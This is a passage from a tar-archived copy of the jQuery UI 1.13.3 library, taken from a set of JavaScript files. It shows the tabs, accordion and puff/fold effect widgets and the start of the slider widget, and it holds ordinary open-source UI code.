event.keyCode === $.ui.keyCode.PAGE_UP ) { this._activate( this._focusNextTab( this.options.active - 1, false ) ); return true; } if ( event.altKey && event.keyCode === $.ui.keyCode.PAGE_DOWN ) { this._activate( this._focusNextTab( this.options.active + 1, true ) ); return true; } }, _findNextTab: function( index, goingForward ) { var lastTabIndex = this.tabs.length - 1; function constrain() { if ( index > lastTabIndex ) { index = 0; } if ( index < 0 ) { index = lastTabIndex; } return index; } while ( $.inArray( constrain(), this.options.disabled ) !== -1 ) { index = goingForward ? index + 1 : index - 1; } return index; }, _focusNextTab: function( index, goingForward ) { index = this._findNextTab( index, goingForward ); this.tabs.eq( index ).trigger( "focus" ); return index; }, _setOption: function( key, value ) { if ( key === "active" ) { // _activate() will handle invalid values and update this.options this._activate( value ); return; } this._super( key, value ); if ( key === "collapsible" ) { this._toggleClass( "ui-tabs-collapsible", null, value ); // Setting collapsible: false while collapsed; open first panel if ( !value && this.options.active === false ) { this._activate( 0 ); } } if ( key === "event" ) { this._setupEvents( value ); } if ( key === "heightStyle" ) { this._setupHeightStyle( value ); } }, _sanitizeSelector: function( hash ) { return hash ? hash.replace( /[!"$%&'()*+,.\/:;<=>?@\[\]\^`{|}~]/g, "\\$&" ) : ""; }, refresh: function() { var options = this.options, lis = this.tablist.children( ":has(a[href])" ); // Get disabled tabs from class attribute from HTML // this will get converted to a boolean if needed in _refresh() options.disabled = $.map( lis.filter( ".ui-state-disabled" ), function( tab ) { return lis.index( tab ); } ); this._processTabs(); // Was collapsed or no tabs if ( options.active === false || !this.anchors.length ) { options.active = false; this.active = $(); // was active, but active tab is gone } else if ( this.active.length && !$.contains( this.tablist[ 0 ], this.active[ 0 ] ) ) { // all remaining tabs are disabled if ( this.tabs.length === options.disabled.length ) { options.active = false; this.active = $(); // activate previous tab } else { this._activate( this._findNextTab( Math.max( 0, options.active - 1 ), false ) ); } // was active, active tab still exists } else { // make sure active index is correct options.active = this.tabs.index( this.active ); } this._refresh(); }, _refresh: function() { this._setOptionDisabled( this.options.disabled ); this._setupEvents( this.options.event ); this._setupHeightStyle( this.options.heightStyle ); this.tabs.not( this.active ).attr( { "aria-selected": "false", "aria-expanded": "false", tabIndex: -1 } ); this.panels.not( this._getPanelForTab( this.active ) ) .hide() .attr( { "aria-hidden": "true" } ); // Make sure one tab is in the tab order if ( !this.active.length ) { this.tabs.eq( 0 ).attr( "tabIndex", 0 ); } else { this.active .attr( { "aria-selected": "true", "aria-expanded": "true", tabIndex: 0 } ); this._addClass( this.active, "ui-tabs-active", "ui-state-active" ); this._getPanelForTab( this.active ) .show() .attr( { "aria-hidden": "false" } ); } }, _processTabs: function() { var that = this, prevTabs = this.tabs, prevAnchors = this.anchors, prevPanels = this.panels; this.tablist = this._getList().attr( "role", "tablist" ); this._addClass( this.tablist, "ui-tabs-nav", "ui-helper-reset ui-helper-clearfix ui-widget-header" ); // Prevent users from focusing disabled tabs via click this.tablist .on( "mousedown" + this.eventNamespace, "> li", function( event ) { if ( $( this ).is( ".ui-state-disabled" ) ) { event.preventDefault(); } } ) // Support: IE <9 // Preventing the default action in mousedown doesn't prevent IE // from focusing the element, so if the anchor gets focused, blur. // We don't have to worry about focusing the previously focused // element since clicking on a non-focusable element should focus // the body anyway. .on( "focus" + this.eventNamespace, ".ui-tabs-anchor", function() { if ( $( this ).closest( "li" ).is( ".ui-state-disabled" ) ) { this.blur(); } } ); this.tabs = this.tablist.find( "> li:has(a[href])" ) .attr( { role: "tab", tabIndex: -1 } ); this._addClass( this.tabs, "ui-tabs-tab", "ui-state-default" ); this.anchors = this.tabs.map( function() { return $( "a", this )[ 0 ]; } ) .attr( { tabIndex: -1 } ); this._addClass( this.anchors, "ui-tabs-anchor" ); this.panels = $(); this.anchors.each( function( i, anchor ) { var selector, panel, panelId, anchorId = $( anchor ).uniqueId().attr( "id" ), tab = $( anchor ).closest( "li" ), originalAriaControls = tab.attr( "aria-controls" ); // Inline tab if ( that._isLocal( anchor ) ) { selector = anchor.hash; panelId = selector.substring( 1 ); panel = that.element.find( that._sanitizeSelector( selector ) ); // remote tab } else { // If the tab doesn't already have aria-controls, // generate an id by using a throw-away element panelId = tab.attr( "aria-controls" ) || $( {} ).uniqueId()[ 0 ].id; selector = "#" + panelId; panel = that.element.find( selector ); if ( !panel.length ) { panel = that._createPanel( panelId ); panel.insertAfter( that.panels[ i - 1 ] || that.tablist ); } panel.attr( "aria-live", "polite" ); } if ( panel.length ) { that.panels = that.panels.add( panel ); } if ( originalAriaControls ) { tab.data( "ui-tabs-aria-controls", originalAriaControls ); } tab.attr( { "aria-controls": panelId, "aria-labelledby": anchorId } ); panel.attr( "aria-labelledby", anchorId ); } ); this.panels.attr( "role", "tabpanel" ); this._addClass( this.panels, "ui-tabs-panel", "ui-widget-content" ); // Avoid memory leaks (#10056) if ( prevTabs ) { this._off( prevTabs.not( this.tabs ) ); this._off( prevAnchors.not( this.anchors ) ); this._off( prevPanels.not( this.panels ) ); } }, // Allow overriding how to find the list for rare usage scenarios (#7715) _getList: function() { return this.tablist || this.element.find( "ol, ul" ).eq( 0 ); }, _createPanel: function( id ) { return $( "<div>" ) .attr( "id", id ) .data( "ui-tabs-destroy", true ); }, _setOptionDisabled: function( disabled ) { var currentItem, li, i; if ( Array.isArray( disabled ) ) { if ( !disabled.length ) { disabled = false; } else if ( disabled.length === this.anchors.length ) { disabled = true; } } // Disable tabs for ( i = 0; ( li = this.tabs[ i ] ); i++ ) { currentItem = $( li ); if ( disabled === true || $.inArray( i, disabled ) !== -1 ) { currentItem.attr( "aria-disabled", "true" ); this._addClass( currentItem, null, "ui-state-disabled" ); } else { currentItem.removeAttr( "aria-disabled" ); this._removeClass( currentItem, null, "ui-state-disabled" ); } } this.options.disabled = disabled; this._toggleClass( this.widget(), this.widgetFullName + "-disabled", null, disabled === true ); }, _setupEvents: function( event ) { var events = {}; if ( event ) { $.each( event.split( " " ), function( index, eventName ) { events[ eventName ] = "_eventHandler"; } ); } this._off( this.anchors.add( this.tabs ).add( this.panels ) ); // Always prevent the default action, even when disabled this._on( true, this.anchors, { click: function( event ) { event.preventDefault(); } } ); this._on( this.anchors, events ); this._on( this.tabs, { keydown: "_tabKeydown" } ); this._on( this.panels, { keydown: "_panelKeydown" } ); this._focusable( this.tabs ); this._hoverable( this.tabs ); }, _setupHeightStyle: function( heightStyle ) { var maxHeight, parent = this.element.parent(); if ( heightStyle === "fill" ) { maxHeight = parent.height(); maxHeight -= this.element.outerHeight() - this.element.height(); this.element.siblings( ":visible" ).each( function() { var elem = $( this ), position = elem.css( "position" ); if ( position === "absolute" || position === "fixed" ) { return; } maxHeight -= elem.outerHeight( true ); } ); this.element.children().not( this.panels ).each( function() { maxHeight -= $( this ).outerHeight( true ); } ); this.panels.each( function() { $( this ).height( Math.max( 0, maxHeight - $( this ).innerHeight() + $( this ).height() ) ); } ) .css( "overflow", "auto" ); } else if ( heightStyle === "auto" ) { maxHeight = 0; this.panels.each( function() { maxHeight = Math.max( maxHeight, $( this ).height( "" ).height() ); } ).height( maxHeight ); } }, _eventHandler: function( event ) { var options = this.options, active = this.active, anchor = $( event.currentTarget ), tab = anchor.closest( "li" ), clickedIsActive = tab[ 0 ] === active[ 0 ], collapsing = clickedIsActive && options.collapsible, toShow = collapsing ? $() : this._getPanelForTab( tab ), toHide = !active.length ? $() : this._getPanelForTab( active ), eventData = { oldTab: active, oldPanel: toHide, newTab: collapsing ? $() : tab, newPanel: toShow }; event.preventDefault(); if ( tab.hasClass( "ui-state-disabled" ) || // tab is already loading tab.hasClass( "ui-tabs-loading" ) || // can't switch durning an animation this.running || // click on active header, but not collapsible ( clickedIsActive && !options.collapsible ) || // allow canceling activation ( this._trigger( "beforeActivate", event, eventData ) === false ) ) { return; } options.active = collapsing ? false : this.tabs.index( tab ); this.active = clickedIsActive ? $() : tab; if ( this.xhr ) { this.xhr.abort(); } if ( !toHide.length && !toShow.length ) { $.error( "jQuery UI Tabs: Mismatching fragment identifier." ); } if ( toShow.length ) { this.load( this.tabs.index( tab ), event ); } this._toggle( event, eventData ); }, // Handles show/hide for selecting tabs _toggle: function( event, eventData ) { var that = this, toShow = eventData.newPanel, toHide = eventData.oldPanel; this.running = true; function complete() { that.running = false; that._trigger( "activate", event, eventData ); } function show() { that._addClass( eventData.newTab.closest( "li" ), "ui-tabs-active", "ui-state-active" ); if ( toShow.length && that.options.show ) { that._show( toShow, that.options.show, complete ); } else { toShow.show(); complete(); } } // Start out by hiding, then showing, then completing if ( toHide.length && this.options.hide ) { this._hide( toHide, this.options.hide, function() { that._removeClass( eventData.oldTab.closest( "li" ), "ui-tabs-active", "ui-state-active" ); show(); } ); } else { this._removeClass( eventData.oldTab.closest( "li" ), "ui-tabs-active", "ui-state-active" ); toHide.hide(); show(); } toHide.attr( "aria-hidden", "true" ); eventData.oldTab.attr( { "aria-selected": "false", "aria-expanded": "false" } ); // If we're switching tabs, remove the old tab from the tab order. // If we're opening from collapsed state, remove the previous tab from the tab order. // If we're collapsing, then keep the collapsing tab in the tab order. if ( toShow.length && toHide.length ) { eventData.oldTab.attr( "tabIndex", -1 ); } else if ( toShow.length ) { this.tabs.filter( function() { return $( this ).attr( "tabIndex" ) === 0; } ) .attr( "tabIndex", -1 ); } toShow.attr( "aria-hidden", "false" ); eventData.newTab.attr( { "aria-selected": "true", "aria-expanded": "true", tabIndex: 0 } ); }, _activate: function( index ) { var anchor, active = this._findActive( index ); // Trying to activate the already active panel if ( active[ 0 ] === this.active[ 0 ] ) { return; } // Trying to collapse, simulate a click on the current active header if ( !active.length ) { active = this.active; } anchor = active.find( ".ui-tabs-anchor" )[ 0 ]; this._eventHandler( { target: anchor, currentTarget: anchor, preventDefault: $.noop } ); }, _findActive: function( index ) { return index === false ? $() : this.tabs.eq( index ); }, _getIndex: function( index ) { // meta-function to give users option to provide a href string instead of a numerical index. if ( typeof index === "string" ) { index = this.anchors.index( this.anchors.filter( "[href$='" + $.escapeSelector( index ) + "']" ) ); } return index; }, _destroy: function() { if ( this.xhr ) { this.xhr.abort(); } this.tablist .removeAttr( "role" ) .off( this.eventNamespace ); this.anchors .removeAttr( "role tabIndex" ) .removeUniqueId(); this.tabs.add( this.panels ).each( function() { if ( $.data( this, "ui-tabs-destroy" ) ) { $( this ).remove(); } else { $( this ).removeAttr( "role tabIndex " + "aria-live aria-busy aria-selected aria-labelledby aria-hidden aria-expanded" ); } } ); this.tabs.each( function() { var li = $( this ), prev = li.data( "ui-tabs-aria-controls" ); if ( prev ) { li .attr( "aria-controls", prev ) .removeData( "ui-tabs-aria-controls" ); } else { li.removeAttr( "aria-controls" ); } } ); this.panels.show(); if ( this.options.heightStyle !== "content" ) { this.panels.css( "height", "" ); } }, enable: function( index ) { var disabled = this.options.disabled; if ( disabled === false ) { return; } if ( index === undefined ) { disabled = false; } else { index = this._getIndex( index ); if ( Array.isArray( disabled ) ) { disabled = $.map( disabled, function( num ) { return num !== index ? num : null; } ); } else { disabled = $.map( this.tabs, function( li, num ) { return num !== index ? num : null; } ); } } this._setOptionDisabled( disabled ); }, disable: function( index ) { var disabled = this.options.disabled; if ( disabled === true ) { return; } if ( index === undefined ) { disabled = true; } else { index = this._getIndex( index ); if ( $.inArray( index, disabled ) !== -1 ) { return; } if ( Array.isArray( disabled ) ) { disabled = $.merge( [ index ], disabled ).sort(); } else { disabled = [ index ]; } } this._setOptionDisabled( disabled ); }, load: function( index, event ) { index = this._getIndex( index ); var that = this, tab = this.tabs.eq( index ), anchor = tab.find( ".ui-tabs-anchor" ), panel = this._getPanelForTab( tab ), eventData = { tab: tab, panel: panel }, complete = function( jqXHR, status ) { if ( status === "abort" ) { that.panels.stop( false, true ); } that._removeClass( tab, "ui-tabs-loading" ); panel.removeAttr( "aria-busy" ); if ( jqXHR === that.xhr ) { delete that.xhr; } }; // Not remote if ( this._isLocal( anchor[ 0 ] ) ) { return; } this.xhr = $.ajax( this._ajaxSettings( anchor, event, eventData ) ); // Support: jQuery <1.8 // jQuery <1.8 returns false if the request is canceled in beforeSend, // but as of 1.8, $.ajax() always returns a jqXHR object. if ( this.xhr && this.xhr.statusText !== "canceled" ) { this._addClass( tab, "ui-tabs-loading" ); panel.attr( "aria-busy", "true" ); this.xhr .done( function( response, status, jqXHR ) { // support: jQuery <1.8 // https://bugs.jquery.com/ticket/11778 setTimeout( function() { panel.html( response ); that._trigger( "load", event, eventData ); complete( jqXHR, status ); }, 1 ); } ) .fail( function( jqXHR, status ) { // support: jQuery <1.8 // https://bugs.jquery.com/ticket/11778 setTimeout( function() { complete( jqXHR, status ); }, 1 ); } ); } }, _ajaxSettings: function( anchor, event, eventData ) { var that = this; return { // Support: IE <11 only // Strip any hash that exists to prevent errors with the Ajax request url: anchor.attr( "href" ).replace( /#.*$/, "" ), beforeSend: function( jqXHR, settings ) { return that._trigger( "beforeLoad", event, $.extend( { jqXHR: jqXHR, ajaxSettings: settings }, eventData ) ); } }; }, _getPanelForTab: function( tab ) { var id = $( tab ).attr( "aria-controls" ); return this.element.find( this._sanitizeSelector( "#" + id ) ); } } ); // DEPRECATED // TODO: Switch return back to widget declaration at top of file when this is removed if ( $.uiBackCompat !== false ) { // Backcompat for ui-tab class (now ui-tabs-tab) $.widget( "ui.tabs", $.ui.tabs, { _processTabs: function() { this._superApply( arguments ); this._addClass( this.tabs, "ui-tab" ); } } ); } return $.ui.tabs; } ); jquery/ui/effect-puff.js 0000644 00000001743 15111757754 0011252 0 ustar 00 /*! * jQuery UI Effects Puff 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ //>>label: Puff Effect //>>group: Effects //>>description: Creates a puff effect by scaling the element up and hiding it at the same time. //>>docs: https://api.jqueryui.com/puff-effect/ //>>demos: https://jqueryui.com/effect/ ( function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define( [ "jquery", "../version", "../effect", "./effect-scale" ], factory ); } else { // Browser globals factory( jQuery ); } } )( function( $ ) { "use strict"; return $.effects.define( "puff", "hide", function( options, done ) { var newOptions = $.extend( true, {}, options, { fade: true, percent: parseInt( options.percent, 10 ) || 150 } ); $.effects.effect.scale.call( this, newOptions, done ); } ); } ); jquery/ui/accordion.js 0000644 00000037412 15111757754 0011023 0 ustar 00 /*! * jQuery UI Accordion 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ //>>label: Accordion //>>group: Widgets /* eslint-disable max-len */ //>>description: Displays collapsible content panels for presenting information in a limited amount of space. /* eslint-enable max-len */ //>>docs: https://api.jqueryui.com/accordion/ //>>demos: https://jqueryui.com/accordion/ //>>css.structure: ../../themes/base/core.css //>>css.structure: ../../themes/base/accordion.css //>>css.theme: ../../themes/base/theme.css ( function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define( [ "jquery", "../version", "../keycode", "../unique-id", "../widget" ], factory ); } else { // Browser globals factory( jQuery ); } } )( function( $ ) { "use strict"; return $.widget( "ui.accordion", { version: "1.13.3", options: { active: 0, animate: {}, classes: { "ui-accordion-header": "ui-corner-top", "ui-accordion-header-collapsed": "ui-corner-all", "ui-accordion-content": "ui-corner-bottom" }, collapsible: false, event: "click", header: function( elem ) { return elem.find( "> li > :first-child" ).add( elem.find( "> :not(li)" ).even() ); }, heightStyle: "auto", icons: { activeHeader: "ui-icon-triangle-1-s", header: "ui-icon-triangle-1-e" }, // Callbacks activate: null, beforeActivate: null }, hideProps: { borderTopWidth: "hide", borderBottomWidth: "hide", paddingTop: "hide", paddingBottom: "hide", height: "hide" }, showProps: { borderTopWidth: "show", borderBottomWidth: "show", paddingTop: "show", paddingBottom: "show", height: "show" }, _create: function() { var options = this.options; this.prevShow = this.prevHide = $(); this._addClass( "ui-accordion", "ui-widget ui-helper-reset" ); this.element.attr( "role", "tablist" ); // Don't allow collapsible: false and active: false / null if ( !options.collapsible && ( options.active === false || options.active == null ) ) { options.active = 0; } this._processPanels(); // handle negative values if ( options.active < 0 ) { options.active += this.headers.length; } this._refresh(); }, _getCreateEventData: function() { return { header: this.active, panel: !this.active.length ? $() : this.active.next() }; }, _createIcons: function() { var icon, children, icons = this.options.icons; if ( icons ) { icon = $( "<span>" ); this._addClass( icon, "ui-accordion-header-icon", "ui-icon " + icons.header ); icon.prependTo( this.headers ); children = this.active.children( ".ui-accordion-header-icon" ); this._removeClass( children, icons.header ) ._addClass( children, null, icons.activeHeader ) ._addClass( this.headers, "ui-accordion-icons" ); } }, _destroyIcons: function() { this._removeClass( this.headers, "ui-accordion-icons" ); this.headers.children( ".ui-accordion-header-icon" ).remove(); }, _destroy: function() { var contents; // Clean up main element this.element.removeAttr( "role" ); // Clean up headers this.headers .removeAttr( "role aria-expanded aria-selected aria-controls tabIndex" ) .removeUniqueId(); this._destroyIcons(); // Clean up content panels contents = this.headers.next() .css( "display", "" ) .removeAttr( "role aria-hidden aria-labelledby" ) .removeUniqueId(); if ( this.options.heightStyle !== "content" ) { contents.css( "height", "" ); } }, _setOption: function( key, value ) { if ( key === "active" ) { // _activate() will handle invalid values and update this.options this._activate( value ); return; } if ( key === "event" ) { if ( this.options.event ) { this._off( this.headers, this.options.event ); } this._setupEvents( value ); } this._super( key, value ); // Setting collapsible: false while collapsed; open first panel if ( key === "collapsible" && !value && this.options.active === false ) { this._activate( 0 ); } if ( key === "icons" ) { this._destroyIcons(); if ( value ) { this._createIcons(); } } }, _setOptionDisabled: function( value ) { this._super( value ); this.element.attr( "aria-disabled", value ); // Support: IE8 Only // #5332 / #6059 - opacity doesn't cascade to positioned elements in IE // so we need to add the disabled class to the headers and panels this._toggleClass( null, "ui-state-disabled", !!value ); this._toggleClass( this.headers.add( this.headers.next() ), null, "ui-state-disabled", !!value ); }, _keydown: function( event ) { if ( event.altKey || event.ctrlKey ) { return; } var keyCode = $.ui.keyCode, length = this.headers.length, currentIndex = this.headers.index( event.target ), toFocus = false; switch ( event.keyCode ) { case keyCode.RIGHT: case keyCode.DOWN: toFocus = this.headers[ ( currentIndex + 1 ) % length ]; break; case keyCode.LEFT: case keyCode.UP: toFocus = this.headers[ ( currentIndex - 1 + length ) % length ]; break; case keyCode.SPACE: case keyCode.ENTER: this._eventHandler( event ); break; case keyCode.HOME: toFocus = this.headers[ 0 ]; break; case keyCode.END: toFocus = this.headers[ length - 1 ]; break; } if ( toFocus ) { $( event.target ).attr( "tabIndex", -1 ); $( toFocus ).attr( "tabIndex", 0 ); $( toFocus ).trigger( "focus" ); event.preventDefault(); } }, _panelKeyDown: function( event ) { if ( event.keyCode === $.ui.keyCode.UP && event.ctrlKey ) { $( event.currentTarget ).prev().trigger( "focus" ); } }, refresh: function() { var options = this.options; this._processPanels(); // Was collapsed or no panel if ( ( options.active === false && options.collapsible === true ) || !this.headers.length ) { options.active = false; this.active = $(); // active false only when collapsible is true } else if ( options.active === false ) { this._activate( 0 ); // was active, but active panel is gone } else if ( this.active.length && !$.contains( this.element[ 0 ], this.active[ 0 ] ) ) { // all remaining panel are disabled if ( this.headers.length === this.headers.find( ".ui-state-disabled" ).length ) { options.active = false; this.active = $(); // activate previous panel } else { this._activate( Math.max( 0, options.active - 1 ) ); } // was active, active panel still exists } else { // make sure active index is correct options.active = this.headers.index( this.active ); } this._destroyIcons(); this._refresh(); }, _processPanels: function() { var prevHeaders = this.headers, prevPanels = this.panels; if ( typeof this.options.header === "function" ) { this.headers = this.options.header( this.element ); } else { this.headers = this.element.find( this.options.header ); } this._addClass( this.headers, "ui-accordion-header ui-accordion-header-collapsed", "ui-state-default" ); this.panels = this.headers.next().filter( ":not(.ui-accordion-content-active)" ).hide(); this._addClass( this.panels, "ui-accordion-content", "ui-helper-reset ui-widget-content" ); // Avoid memory leaks (#10056) if ( prevPanels ) { this._off( prevHeaders.not( this.headers ) ); this._off( prevPanels.not( this.panels ) ); } }, _refresh: function() { var maxHeight, options = this.options, heightStyle = options.heightStyle, parent = this.element.parent(); this.active = this._findActive( options.active ); this._addClass( this.active, "ui-accordion-header-active", "ui-state-active" ) ._removeClass( this.active, "ui-accordion-header-collapsed" ); this._addClass( this.active.next(), "ui-accordion-content-active" ); this.active.next().show(); this.headers .attr( "role", "tab" ) .each( function() { var header = $( this ), headerId = header.uniqueId().attr( "id" ), panel = header.next(), panelId = panel.uniqueId().attr( "id" ); header.attr( "aria-controls", panelId ); panel.attr( "aria-labelledby", headerId ); } ) .next() .attr( "role", "tabpanel" ); this.headers .not( this.active ) .attr( { "aria-selected": "false", "aria-expanded": "false", tabIndex: -1 } ) .next() .attr( { "aria-hidden": "true" } ) .hide(); // Make sure at least one header is in the tab order if ( !this.active.length ) { this.headers.eq( 0 ).attr( "tabIndex", 0 ); } else { this.active.attr( { "aria-selected": "true", "aria-expanded": "true", tabIndex: 0 } ) .next() .attr( { "aria-hidden": "false" } ); } this._createIcons(); this._setupEvents( options.event ); if ( heightStyle === "fill" ) { maxHeight = parent.height(); this.element.siblings( ":visible" ).each( function() { var elem = $( this ), position = elem.css( "position" ); if ( position === "absolute" || position === "fixed" ) { return; } maxHeight -= elem.outerHeight( true ); } ); this.headers.each( function() { maxHeight -= $( this ).outerHeight( true ); } ); this.headers.next() .each( function() { $( this ).height( Math.max( 0, maxHeight - $( this ).innerHeight() + $( this ).height() ) ); } ) .css( "overflow", "auto" ); } else if ( heightStyle === "auto" ) { maxHeight = 0; this.headers.next() .each( function() { var isVisible = $( this ).is( ":visible" ); if ( !isVisible ) { $( this ).show(); } maxHeight = Math.max( maxHeight, $( this ).css( "height", "" ).height() ); if ( !isVisible ) { $( this ).hide(); } } ) .height( maxHeight ); } }, _activate: function( index ) { var active = this._findActive( index )[ 0 ]; // Trying to activate the already active panel if ( active === this.active[ 0 ] ) { return; } // Trying to collapse, simulate a click on the currently active header active = active || this.active[ 0 ]; this._eventHandler( { target: active, currentTarget: active, preventDefault: $.noop } ); }, _findActive: function( selector ) { return typeof selector === "number" ? this.headers.eq( selector ) : $(); }, _setupEvents: function( event ) { var events = { keydown: "_keydown" }; if ( event ) { $.each( event.split( " " ), function( index, eventName ) { events[ eventName ] = "_eventHandler"; } ); } this._off( this.headers.add( this.headers.next() ) ); this._on( this.headers, events ); this._on( this.headers.next(), { keydown: "_panelKeyDown" } ); this._hoverable( this.headers ); this._focusable( this.headers ); }, _eventHandler: function( event ) { var activeChildren, clickedChildren, options = this.options, active = this.active, clicked = $( event.currentTarget ), clickedIsActive = clicked[ 0 ] === active[ 0 ], collapsing = clickedIsActive && options.collapsible, toShow = collapsing ? $() : clicked.next(), toHide = active.next(), eventData = { oldHeader: active, oldPanel: toHide, newHeader: collapsing ? $() : clicked, newPanel: toShow }; event.preventDefault(); if ( // click on active header, but not collapsible ( clickedIsActive && !options.collapsible ) || // allow canceling activation ( this._trigger( "beforeActivate", event, eventData ) === false ) ) { return; } options.active = collapsing ? false : this.headers.index( clicked ); // When the call to ._toggle() comes after the class changes // it causes a very odd bug in IE 8 (see #6720) this.active = clickedIsActive ? $() : clicked; this._toggle( eventData ); // Switch classes // corner classes on the previously active header stay after the animation this._removeClass( active, "ui-accordion-header-active", "ui-state-active" ); if ( options.icons ) { activeChildren = active.children( ".ui-accordion-header-icon" ); this._removeClass( activeChildren, null, options.icons.activeHeader ) ._addClass( activeChildren, null, options.icons.header ); } if ( !clickedIsActive ) { this._removeClass( clicked, "ui-accordion-header-collapsed" ) ._addClass( clicked, "ui-accordion-header-active", "ui-state-active" ); if ( options.icons ) { clickedChildren = clicked.children( ".ui-accordion-header-icon" ); this._removeClass( clickedChildren, null, options.icons.header ) ._addClass( clickedChildren, null, options.icons.activeHeader ); } this._addClass( clicked.next(), "ui-accordion-content-active" ); } }, _toggle: function( data ) { var toShow = data.newPanel, toHide = this.prevShow.length ? this.prevShow : data.oldPanel; // Handle activating a panel during the animation for another activation this.prevShow.add( this.prevHide ).stop( true, true ); this.prevShow = toShow; this.prevHide = toHide; if ( this.options.animate ) { this._animate( toShow, toHide, data ); } else { toHide.hide(); toShow.show(); this._toggleComplete( data ); } toHide.attr( { "aria-hidden": "true" } ); toHide.prev().attr( { "aria-selected": "false", "aria-expanded": "false" } ); // if we're switching panels, remove the old header from the tab order // if we're opening from collapsed state, remove the previous header from the tab order // if we're collapsing, then keep the collapsing header in the tab order if ( toShow.length && toHide.length ) { toHide.prev().attr( { "tabIndex": -1, "aria-expanded": "false" } ); } else if ( toShow.length ) { this.headers.filter( function() { return parseInt( $( this ).attr( "tabIndex" ), 10 ) === 0; } ) .attr( "tabIndex", -1 ); } toShow .attr( "aria-hidden", "false" ) .prev() .attr( { "aria-selected": "true", "aria-expanded": "true", tabIndex: 0 } ); }, _animate: function( toShow, toHide, data ) { var total, easing, duration, that = this, adjust = 0, boxSizing = toShow.css( "box-sizing" ), down = toShow.length && ( !toHide.length || ( toShow.index() < toHide.index() ) ), animate = this.options.animate || {}, options = down && animate.down || animate, complete = function() { that._toggleComplete( data ); }; if ( typeof options === "number" ) { duration = options; } if ( typeof options === "string" ) { easing = options; } // fall back from options to animation in case of partial down settings easing = easing || options.easing || animate.easing; duration = duration || options.duration || animate.duration; if ( !toHide.length ) { return toShow.animate( this.showProps, duration, easing, complete ); } if ( !toShow.length ) { return toHide.animate( this.hideProps, duration, easing, complete ); } total = toShow.show().outerHeight(); toHide.animate( this.hideProps, { duration: duration, easing: easing, step: function( now, fx ) { fx.now = Math.round( now ); } } ); toShow .hide() .animate( this.showProps, { duration: duration, easing: easing, complete: complete, step: function( now, fx ) { fx.now = Math.round( now ); if ( fx.prop !== "height" ) { if ( boxSizing === "content-box" ) { adjust += fx.now; } } else if ( that.options.heightStyle !== "content" ) { fx.now = Math.round( total - toHide.outerHeight() - adjust ); adjust = 0; } } } ); }, _toggleComplete: function( data ) { var toHide = data.oldPanel, prev = toHide.prev(); this._removeClass( toHide, "ui-accordion-content-active" ); this._removeClass( prev, "ui-accordion-header-active" ) ._addClass( prev, "ui-accordion-header-collapsed" ); // Work around for rendering bug in IE (#5421) if ( toHide.length ) { toHide.parent()[ 0 ].className = toHide.parent()[ 0 ].className; } this._trigger( "activate", null, data ); } } ); } ); jquery/ui/effect-fold.min.js 0000644 00000001774 15111757754 0012024 0 ustar 00 /*! * jQuery UI Effects Fold 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ !function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","../version","../effect"],e):e(jQuery)}(function(m){"use strict";return m.effects.define("fold","hide",function(i,e){var t=m(this),c=i.mode,n="show"===c,c="hide"===c,s=i.size||15,f=/([0-9]+)%/.exec(s),o=!!i.horizFirst?["right","bottom"]:["bottom","right"],a=i.duration/2,u=m.effects.createPlaceholder(t),l=t.cssClip(),r={clip:m.extend({},l)},p={clip:m.extend({},l)},d=[l[o[0]],l[o[1]]],h=t.queue().length;f&&(s=parseInt(f[1],10)/100*d[c?0:1]),r.clip[o[0]]=s,p.clip[o[0]]=s,p.clip[o[1]]=0,n&&(t.cssClip(p.clip),u&&u.css(m.effects.clipToBox(p)),p.clip=l),t.queue(function(e){u&&u.animate(m.effects.clipToBox(r),a,i.easing).animate(m.effects.clipToBox(p),a,i.easing),e()}).animate(r,a,i.easing).animate(p,a,i.easing).queue(e),m.effects.unshift(t,h,4)})}); jquery/ui/slider.js 0000644 00000046217 15111757754 0010347 0 ustar 00 /*! * jQuery UI Slider 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ //>>label: Slider //>>group: Widgets //>>description: Displays a flexible slider with ranges and accessibility via keyboard. //>>docs: https://api.jqueryui.com/slider/ //>>demos: https://jqueryui.com/slider/ //>>css.structure: ../../themes/base/core.css //>>css.structure: ../../themes/base/slider.css //>>css.theme: ../../themes/base/theme.css ( function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define( [ "jquery", "./mouse", "../keycode", "../version", "../widget" ], factory ); } else { // Browser globals factory( jQuery ); } } )( function( $ ) { "use strict"; return $.widget( "ui.slider", $.ui.mouse, { version: "1.13.3", widgetEventPrefix: "slide", options: { animate: false, classes: { "ui-slider": "ui-corner-all", "ui-slider-handle": "ui-corner-all", // Note: ui-widget-header isn't the most fittingly semantic framework class for this // element, but worked best visually with a variety of themes "ui-slider-range": "ui-corner-all ui-widget-header" }, distance: 0, max: 100, min: 0, orientation: "horizontal", range: false, step: 1, value: 0, values: null, // Callbacks change: null, slide: null, start: null, stop: null }, // Number of pages in a slider // (how many times can you page up/down to go through the whole range) numPages: 5, _create: function() { this._keySliding = false; this._mouseSliding = false; this._animateOff = true; this._handleIndex = null; this._detectOrientation(); this._mouseInit(); this._calculateNewMax(); this._addClass( "ui-slider ui-slider-" + this.orientation, "ui-widget ui-widget-content" ); this._refresh(); this._animateOff = false; }, _refresh: function() { this._createRange(); this._createHandles(); this._setupEvents(); this._refreshValue(); }, _createHandles: function() { var i, handleCount, options = this.options, existingHandles = this.element.find( ".ui-slider-handle" ), handle = "<span tabindex='0'></span>", handles = []; handleCount = ( options.values && options.values.length ) || 1; if ( existingHandles.length > handleCount ) { existingHandles.slice( handleCount ).remove(); existingHandles = existingHandles.slice( 0, handleCount ); } for ( i = existingHandles.length; i < handleCount; i++ ) { handles.push( handle ); } this.handles = existingHandles.add( $( handles.join( "" ) ).appendTo( this.element ) ); this._addClass( this.handles, "ui-slider-handle", "ui-state-default" ); this.handle = this.handles.eq( 0 ); this.handles.each( function( i ) { $( this ) .data( "ui-slider-handle-index", i ) .attr( "tabIndex", 0 ); } ); }, _createRange: function() { var options = this.options; if ( options.range ) { if ( options.range 